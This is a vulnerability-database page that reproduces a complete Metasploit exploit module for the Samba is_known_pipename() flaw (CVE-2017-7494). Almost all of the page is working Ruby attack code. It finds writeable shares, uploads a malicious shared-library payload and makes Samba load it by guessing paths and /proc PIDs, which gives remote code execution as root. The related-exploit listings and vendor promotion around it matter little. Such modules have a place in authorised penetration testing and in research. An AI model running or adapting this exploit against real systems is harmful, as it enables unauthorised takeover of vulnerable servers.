Lucene search
K

Samba is_known_pipename() Arbitrary Module Load

🗓️ 27 May 2017 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 500 Views

This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module requires valid credentials, a writeable folder in an accessible share, and knowledge of the server-side path of the writeable folder

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Samba
2 Dec 202509:55
githubexploit
GithubExploit
Exploit for Code Injection in Samba
25 May 201713:20
githubexploit
GithubExploit
Exploit for Code Injection in Samba
15 May 202106:52
githubexploit
GithubExploit
Exploit for Code Injection in Samba
30 May 201715:08
githubexploit
GithubExploit
Exploit for Code Injection in Samba
25 May 201713:20
githubexploit
GithubExploit
Exploit for CVE-2017-0143
16 May 201719:34
githubexploit
GithubExploit
Exploit for Code Injection in Samba
9 May 202102:32
githubexploit
GithubExploit
Exploit for Code Injection in Samba
5 Jun 201716:25
githubexploit
GithubExploit
Exploit for Code Injection in Samba
26 May 201700:58
githubexploit
GithubExploit
Exploit for Code Injection in Samba
1 Nov 202223:17
githubexploit
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',  
'Description' => %q{  
This module triggers an arbitrary shared library load vulnerability  
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module  
requires valid credentials, a writeable folder in an accessible share,  
and knowledge of the server-side path of the writeable folder. In  
some cases, anonymous access combined with common filesystem locations  
can be used to automatically exploit this vulnerability.  
},  
'Author' =>  
[  
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery  
'hdm', # Metasploit Module  
'Brendan Coles <bcoles[at]gmail.com>', # Check logic  
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-7494' ],  
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],  
],  
'Payload' =>  
{  
'Space' => 9000,  
'DisableNops' => true  
},  
'Platform' => 'linux',  
#  
# Targets are currently limited by platforms with ELF-SO payload wrappers  
#  
'Targets' =>  
[  
  
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],  
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],  
#  
# Not ready yet  
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],  
# [ 'Linux MIPS', { 'Arch' => MIPS } ],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Mar 24 2017',  
'DefaultTarget' => 1))  
  
register_options(  
[  
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),  
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),  
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),  
])  
  
register_advanced_options(  
[  
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),  
])  
end  
  
  
def generate_common_locations  
candidates = []  
if datastore['SMB_SHARE_BASE'].to_s.length > 0  
candidates << datastore['SMB_SHARE_BASE']  
end  
  
%W{ /volume1 /volume2 /volume3 /volume4  
/shared /mnt /mnt/usb /media /mnt/media  
/var/samba /tmp /home /home/shared  
}.each do |base_name|  
candidates << base_name  
candidates << [base_name, @share]  
candidates << [base_name, @share.downcase]  
candidates << [base_name, @share.upcase]  
candidates << [base_name, @share.capitalize]  
candidates << [base_name, @share.gsub(" ", "_")]  
end  
  
candidates.uniq  
end  
  
def enumerate_directories(share)  
begin  
self.simple.connect("\\\\#{rhost}\\#{share}")  
stuff = self.simple.client.find_first("\\*")  
directories = [""]  
stuff.each_pair do |entry,entry_attr|  
next if %W{. ..}.include?(entry)  
next unless entry_attr['type'] == 'D'  
directories << entry  
end  
  
return directories  
  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Enum #{share}: #{e}")  
return nil  
  
ensure  
if self.simple.shares["\\\\#{rhost}\\#{share}"]  
self.simple.disconnect("\\\\#{rhost}\\#{share}")  
end  
end  
end  
  
def verify_writeable_directory(share, directory="")  
begin  
self.simple.connect("\\\\#{rhost}\\#{share}")  
  
random_filename = Rex::Text.rand_text_alpha(5)+".txt"  
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"  
  
wfd = simple.open(filename, 'rwct')  
wfd << Rex::Text.rand_text_alpha(8)  
wfd.close  
  
simple.delete(filename)  
return true  
  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Write #{share}#{filename}: #{e}")  
return false  
  
ensure  
if self.simple.shares["\\\\#{rhost}\\#{share}"]  
self.simple.disconnect("\\\\#{rhost}\\#{share}")  
end  
end  
end  
  
def share_type(val)  
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]  
end  
  
def enumerate_shares_lanman  
shares = []  
begin  
res = self.simple.client.trans(  
"\\PIPE\\LANMAN",  
(  
[0x00].pack('v') +  
"WrLeh\x00" +  
"B13BWz\x00" +  
[0x01, 65406].pack("vv")  
))  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Could not enumerate shares via LANMAN")  
return []  
end  
if res.nil?  
vprint_error("Could not enumerate shares via LANMAN")  
return []  
end  
  
lerror, lconv, lentries, lcount = res['Payload'].to_s[  
res['Payload'].v['ParamOffset'],  
res['Payload'].v['ParamCount']  
].unpack("v4")  
  
data = res['Payload'].to_s[  
res['Payload'].v['DataOffset'],  
res['Payload'].v['DataCount']  
]  
  
0.upto(lentries - 1) do |i|  
sname,tmp = data[(i * 20) + 0, 14].split("\x00")  
stype = data[(i * 20) + 14, 2].unpack('v')[0]  
scoff = data[(i * 20) + 16, 2].unpack('v')[0]  
scoff -= lconv if lconv != 0  
scomm,tmp = data[scoff, data.length - scoff].split("\x00")  
shares << [ sname, share_type(stype), scomm]  
end  
  
shares  
end  
  
def probe_module_path(path, simple_client=self.simple)  
begin  
simple_client.create_pipe(path)  
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e  
vprint_error("Probe: #{path}: #{e}")  
end  
end  
  
def find_writeable_path(share)  
subdirs = enumerate_directories(share)  
return unless subdirs  
  
if datastore['SMB_FOLDER'].to_s.length > 0  
subdirs.unshift(datastore['SMB_FOLDER'])  
end  
  
subdirs.each do |subdir|  
next unless verify_writeable_directory(share, subdir)  
return subdir  
end  
  
nil  
end  
  
def find_writeable_share_path  
@path = nil  
share_info = enumerate_shares_lanman  
if datastore['SMB_SHARE_NAME'].to_s.length > 0  
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']  
end  
  
share_info.each do |share|  
next if share.first.upcase == 'IPC$'  
found = find_writeable_path(share.first)  
next unless found  
@share = share.first  
@path = found  
break  
end  
end  
  
def find_writeable  
find_writeable_share_path  
unless @share && @path  
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")  
fail_with(Failure::NoTarget, "No matching target")  
end  
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")  
end  
  
def upload_payload  
begin  
self.simple.connect("\\\\#{rhost}\\#{@share}")  
  
random_filename = Rex::Text.rand_text_alpha(8)+".so"  
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"  
wfd = simple.open(filename, 'rwct')  
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,  
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}  
)  
wfd.close  
  
@payload_name = random_filename  
return true  
  
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e  
print_error("Write #{@share}#{filename}: #{e}")  
return false  
  
ensure  
if self.simple.shares["\\\\#{rhost}\\#{@share}"]  
self.simple.disconnect("\\\\#{rhost}\\#{@share}")  
end  
end  
end  
  
def find_payload  
  
# Reconnect to IPC$  
simple.connect("\\\\#{rhost}\\IPC$")  
  
# Look for common paths first, since they can be a lot quicker than hunting PIDs  
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")  
generate_common_locations.each do |location|  
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')  
print_status("Trying location #{target}...")  
probe_module_path(target)  
end  
  
# Exit early if we already have a session  
return if session_created?  
  
return unless datastore['BruteforcePID']  
  
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d  
# to non-root, but their /proc/pid directories are still owned by root. Trying to  
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a  
# good chance that this still works on some embedded systems and odd-ball Linux.  
  
# Use the PID hunting strategy devised by Tavis Ormandy  
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")  
  
# Configure the main connection to have a working directory of the file share  
simple.connect("\\\\#{rhost}\\#{@share}")  
  
# Use a second connection to brute force the PID of the first connection  
probe_conn = connect(false)  
smb_login(probe_conn)  
probe_conn.connect("\\\\#{rhost}\\#{@share}")  
probe_conn.connect("\\\\#{rhost}\\IPC$")  
  
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD  
2.upto(32768) do |pid|  
  
# Look for the PID associated with our main SMB connection  
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')  
vprint_status("Trying PID with target path #{target}...")  
probe_module_path(target, probe_conn)  
  
# Keep our main connection alive  
if pid % 1000 == 0  
self.simple.client.find_first("\\*")  
end  
end  
  
end  
  
def check  
res = smb_fingerprint  
  
unless res['native_lm'] =~ /Samba ([\d\.]+)/  
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")  
return CheckCode::Safe  
end  
  
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))  
  
vprint_status("Samba version identified as #{samba_version.to_s}")  
  
if samba_version < Gem::Version.new('3.5.0')  
return CheckCode::Safe  
end  
  
# Patched in 4.4.14  
if samba_version < Gem::Version.new('4.5.0') &&  
samba_version >= Gem::Version.new('4.4.14')  
return CheckCode::Safe  
end  
  
# Patched in 4.5.10  
if samba_version > Gem::Version.new('4.5.0') &&  
samba_version < Gem::Version.new('4.6.0') &&  
samba_version >= Gem::Version.new('4.5.10')  
return CheckCode::Safe  
end  
  
# Patched in 4.6.4  
if samba_version >= Gem::Version.new('4.6.4')  
return CheckCode::Safe  
end  
  
connect  
smb_login  
find_writeable_share_path  
disconnect  
  
if @share.to_s.length == 0  
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")  
return CheckCode::Detected  
end  
  
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")  
return CheckCode::Appears  
end  
  
def exploit  
# Setup SMB  
connect  
smb_login  
  
# Find a writeable share  
find_writeable  
  
# Upload the shared library payload  
upload_payload  
  
# Find and execute the payload from the share  
begin  
find_payload  
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply  
end  
  
# Cleanup the payload  
begin  
simple.connect("\\\\#{rhost}\\#{@share}")  
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"  
simple.delete(uploaded_path)  
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply  
end  
  
# Shutdown  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 May 2017 00:00Current
10High risk
Vulners AI Score10
EPSS0.94176
500